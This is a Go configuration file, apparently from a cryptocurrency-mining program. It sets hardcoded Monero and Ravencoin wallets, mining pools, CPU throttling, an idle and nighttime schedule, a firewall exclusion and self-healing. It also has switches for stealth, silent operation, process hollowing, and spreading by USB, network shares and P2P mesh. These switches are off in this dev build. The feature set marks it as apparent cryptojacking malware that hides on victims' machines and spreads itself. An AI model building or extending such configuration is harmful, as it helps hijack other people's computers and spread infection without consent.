package config

import "time"

func GetBuiltinConfig() BuiltinConfig {
	return BuiltinConfig{
		WorkerName:          "dev-worker",
		ServerURL:           "http://127.0.0.1:8989",
		Wallet:              "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3",
		Threads:             4,
		ThreadMode:          "percent",
		ThreadPercent:       75,
		CPUPriority:         "below_normal",
		MiningMode:          "always",
		DisplayMode:         "visible",
		SilentMode:          false,
		RunAs:               "user",
		AutoStart:           false,
		ProcessName:         "CryptoMinerWorker",
		BuildID:             "dev",
		BuiltAt:             time.Now(),
		PoolHost:            "pool.supportxmr.com",
		PoolPort:            3333,
		PoolTLS:             true,
		PoolPass:            "x",
		MaxCPUUsage:         80,
		MaxMemoryPct:        70,
		MinFreeRAM:          1024,
		IdleThresholdPct:    20,
		IdleDurationMinutes: 5,
		ScheduleStart:       "21:00",
		ScheduleEnd:         "06:00",
		InstallBase:         "localappdata",
		InstallRelativePath: DefaultInstallRelativePath,
		AdaptToHardware:     true,
		SelfHealing:         true,
		FileLogging:         true,
		StealthMode:         false,
		FirewallExclusion:   true,
		AIEnabled:           false,
		AIOllamaEndpoint:    "http://localhost:11434",
		AIModel:             "llama3.2",
		ProcessHollowing:    false,
		MeshP2P:             false,
		AutoSpread:          false,
		HolePunch:           false,
		RemoteAggressive:    false,
		USBSpread:           false,
		ShareSpread:         false,
		GPUEnabled:          false,
		RVNWallet:           "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9",
		RVNPoolHost:         "rvn.2miners.com",
		RVNPoolPort:         6060,
		RVNPoolTLS:          false,
		RVNPoolPass:         "x",
	}
}
